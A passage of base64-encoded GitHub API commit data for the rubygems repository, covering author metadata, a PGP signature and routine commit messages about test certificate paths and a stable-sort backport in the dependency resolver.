CI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImQ4YmFkOGY4NjE4ODI1MWU0OGYzMGJhZjcyYTlkYThhNDgzZjQ3OTUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDhiYWQ4Zjg2MTg4MjUxZTQ4ZjMwYmFmNzJhOWRhOGE0ODNmNDc5NSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kOGJhZDhmODYxODgyNTFlNDhmMzBiYWY3MmE5ZGE4YTQ4M2Y0Nzk1In0seyJzaGEiOiIwMWY3YjM3MmE3MDNlMGQyODZmNWFkNTNmYzQ3ZTZhOTZhYjk3ZDM3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzAxZjdiMzcyYTcwM2UwZDI4NmY1YWQ1M2ZjNDdlNmE5NmFiOTdkMzciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMDFmN2IzNzJhNzAzZTBkMjg2ZjVhZDUzZmM0N2U2YTk2YWI5N2QzNyJ9XX0seyJzaGEiOiIwMWY3YjM3MmE3MDNlMGQyODZmNWFkNTNmYzQ3ZTZhOTZhYjk3ZDM3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0wOC0xNlQwMToyNToxOFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTA4LTE2VDAxOjI2OjE3WiJ9LCJtZXNzYWdlIjoiVG8gdXNlIGBHZW06OlRlc3RDYXNlLmNlcnRfcGF0aGAgYW5kIGBgR2VtOjpUZXN0Q2FzZS5rZXlfcGF0aGBcblxuICBUZXN0IGZpeHR1cmUgY291bGRuJ3QgYmUgYWNjZXNzIHVzZWQgYnkgYEZpbGUuZXhwYW5kX3BhdGhgIG9uIHRlbXBkaXIgcHJvY2Vzcy4iLCJ0cmVlIjp7InNoYSI6ImU3ODhhZmUzYTAyYTgyNjE4Zjk0OTE2YWJmNjc5ZDQ2YzBmMDRkODgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9lNzg4YWZlM2EwMmE4MjYxOGY5NDkxNmFiZjY3OWQ0NmMwZjA0ZDg4In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMDFmN2IzNzJhNzAzZTBkMjg2ZjVhZDUzZmM0N2U2YTk2YWI5N2QzNyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsbVRuMGNBQ2drUStjOFRRWEprXG4rc0srYndmK1BIcjRjZWloZU5IOHluZTBnaFo4VWRiSEhxTUlkbzRmb0ZxcGxhbWc5bWxublY4Q1dvZzdIQ0ZXXG5Na2NMZnFWUTVFMml1eklielpLbjBzR3dFd1BBUk9QVEovSzRjL2NTTlJmOEJPd0RLcURkZUUrWms3eVJnS1NlXG5LcXhzVnI4UW5TRUhaNE5vaXl2T2FLQXNrRnNzVFYxRnU4eWxxMTdOQ1ZyUVRLUzZodkc5d0NhQTdGR0Zwa0NsXG5Nbkx5ckkvejBrUlVibDVvZDV5MXpjTHJtckZNVEsyWGFQL1pCMmRBcFo4a3NMNTNnRHl2NWxHM3N1QU1ZZXlJXG5ycFRac1B6UjBoZEdiQnZRK01icHd2WXZmTXRkSld5ejBjRmdxS0ZoNHBFU1Qvd0QwQmVkdGhKV2crcmJKMlJyXG5vOG1GYXM3SXFZVy9oOXNsUkNwUkVPUlhJdmhCdlE9PVxuPU1GRkZcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGU3ODhhZmUzYTAyYTgyNjE4Zjk0OTE2YWJmNjc5ZDQ2YzBmMDRkODhcbnBhcmVudCA1NDI4YjZiM2QyNDcwNmM4NmIxMDU4M2M3NmUxNDA3YjE2NjJmOTBlXG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MDI4NDY3MTggKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUwMjg0Njc3NyArMDkwMFxuXG5UbyB1c2UgYEdlbTo6VGVzdENhc2UuY2VydF9wYXRoYCBhbmQgYGBHZW06OlRlc3RDYXNlLmtleV9wYXRoYFxuXG4gIFRlc3QgZml4dHVyZSBjb3VsZG4ndCBiZSBhY2Nlc3MgdXNlZCBieSBgRmlsZS5leHBhbmRfcGF0aGAgb24gdGVtcGRpciBwcm9jZXNzLlxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMDFmN2IzNzJhNzAzZTBkMjg2ZjVhZDUzZmM0N2U2YTk2YWI5N2QzNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wMWY3YjM3MmE3MDNlMGQyODZmNWFkNTNmYzQ3ZTZhOTZhYjk3ZDM3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzAxZjdiMzcyYTcwM2UwZDI4NmY1YWQ1M2ZjNDdlNmE5NmFiOTdkMzcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI1NDI4YjZiM2QyNDcwNmM4NmIxMDU4M2M3NmUxNDA3YjE2NjJmOTBlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzU0MjhiNmIzZDI0NzA2Yzg2YjEwNTgzYzc2ZTE0MDdiMTY2MmY5MGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNTQyOGI2YjNkMjQ3MDZjODZiMTA1ODNjNzZlMTQwN2IxNjYyZjkwZSJ9XX0seyJzaGEiOiI1NDI4YjZiM2QyNDcwNmM4NmIxMDU4M2M3NmUxNDA3YjE2NjJmOTBlIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0wOC0wOVQwOToxMjoyMFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTA4LTE1VDEyOjUxOjA2WiJ9LCJtZXNzYWdlIjoiVXNlIEZpbGUuZXhwYW5kX3BhdGggZm9yIGNlcnRpZmljYXRpb24gYW5kIGtleSBsb2NhdGlvbi5cblxuICBCZWNhdXNlIGRpcmVjdG9yeSBzdHJ1Y3R1cmUgb2YgcnVieSBjb3JlIG5lZWRzIHRvIHJlbGF0aXZlIHBhdGguIiwidHJlZSI6eyJzaGEiOiI5ZWExODdlM2YyNzYxNjQ2NTQ0ODMwMTJmMjBhZGU0MmM5MWUyODExIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvOWVhMTg3ZTNmMjc2MTY0NjU0NDgzMDEyZjIwYWRlNDJjOTFlMjgxMSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzU0MjhiNmIzZDI0NzA2Yzg2YjEwNTgzYzc2ZTE0MDdiMTY2MmY5MGUiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNTQyOGI2YjNkMjQ3MDZjODZiMTA1ODNjNzZlMTQwN2IxNjYyZjkwZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81NDI4YjZiM2QyNDcwNmM4NmIxMDU4M2M3NmUxNDA3YjE2NjJmOTBlIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzU0MjhiNmIzZDI0NzA2Yzg2YjEwNTgzYzc2ZTE0MDdiMTY2MmY5MGUvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJkOGJhZDhmODYxODgyNTFlNDhmMzBiYWY3MmE5ZGE4YTQ4M2Y0Nzk1IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Q4YmFkOGY4NjE4ODI1MWU0OGYzMGJhZjcyYTlkYThhNDgzZjQ3OTUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZDhiYWQ4Zjg2MTg4MjUxZTQ4ZjMwYmFmNzJhOWRhOGE0ODNmNDc5NSJ9XX0seyJzaGEiOiJkOGJhZDhmODYxODgyNTFlNDhmMzBiYWY3MmE5ZGE4YTQ4M2Y0Nzk1IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTEyVDAxOjAzOjAwWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0wOC0xMlQwMTowMzowMFoifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzE5ODEgLSBoc2J0OmJhY2twb3J0LXI1OTUwMiwgcj1zZWdpZGRpbnNcblxuUGlja2VkIGNvbW1pdCBmcm9tIHJ1YnkvcnVieUA0MWUxNjcwXG5cbiMgRGVzY3JpcHRpb246XG5cblBpY2tlZCBjb21taXQgZnJvbSBydWJ5L3J1YnlANDFlMTY3MFxuXG5UaGlzIGlzIHBhdGNoIGZvciBodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5ODBcblxuYGBgXG4qIGxpYi9ydWJ5Z2Vtcy9yZXNvbHZlci5yYiAoc29ydF9kZXBlbmRlbmNpZXMpOiB1c2Ugc3RhYmxlIHNvcnQuXG4gIFRlc3RHZW1SZXF1ZXN0U2V0TG9ja2ZpbGUjdGVzdF90b19zX2dlbV9kZXBlbmRlbmN5X25vbl9kZWZhdWx0XG4gIGZhaWxzIGJlY2F1c2UgdGhpcyBtZXRob2QgcmV0dXJuIHVuc3RhYmxlIHJlc3VsdHMuXG4gIE5vdGUgdGhhdCBFbnVtZXJhYmxlI3NvcnRfYnkgaXMgdW5zdGFibGUuXG5cbiAgSSdtIG5vdCBzdXJlIHRoZSBcInN0YWJsZVwiIG5hdHVyZSBpcyByZXF1aXJlZCBmb3IgUnVieUdlbXMuXG4gIFRoZSBmYWN0IGlzIHRoYXQgdXNpbmcgc3RhYmxlIHNvcnQsIHRoZSB0ZXN0IHBhc3NlZCBvblxuICBtc3dpbjY0K1ZTMjAxNyB3aGVyZSB0aGUgc29ydCByZXN1bHRzIHdhcyByZXZlcnNlICh1bnN0YWJsZSkgb3JkZXIuXG4gIEFsc28gdXNpbmcgYC1pYCBpbnN0ZWFkIG9mIGBpYCAoaXQgbWVhbnMgZm9yY2luZyB1bnN0YWJsZSBzb3J0KVxuICB0aGlzIHRlc3QgZmFpbHMgb24gb3RoZXIgcGxhdGZvcm0gd2hlcmUgdGhlIHRlc3Qgc3VjY2Vzc2VkIGJlZm9yZS5cbmBgYFxuXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwidHJlZSI6eyJzaGEiOiIwMDkzNTc0YjNkMGRiNTU2ZGM4MjkxOTM0NmQxMzYzMmI1YmIyNmMxIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMDA5MzU3NGIzZDBkYjU1NmRjODI5MTkzNDZkMTM2MzJiNWJiMjZjMSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2Q4YmFkOGY4NjE4ODI1MWU0OGYzMGJhZjcyYTlkYThhNDgzZjQ3OTUiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDhiYWQ4Zjg2MTg4MjUxZTQ4ZjMwYmFmNzJhOWRhOGE0ODNmNDc5NSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kOGJhZDhmODYxODgyNTFlNDhmMzBiYWY3MmE5ZGE4YTQ4M2Y0Nzk1IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Q4YmFkOGY4NjE4ODI1MWU0OGYzMGJhZjcyYTlkYThhNDgzZjQ3OTUvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGh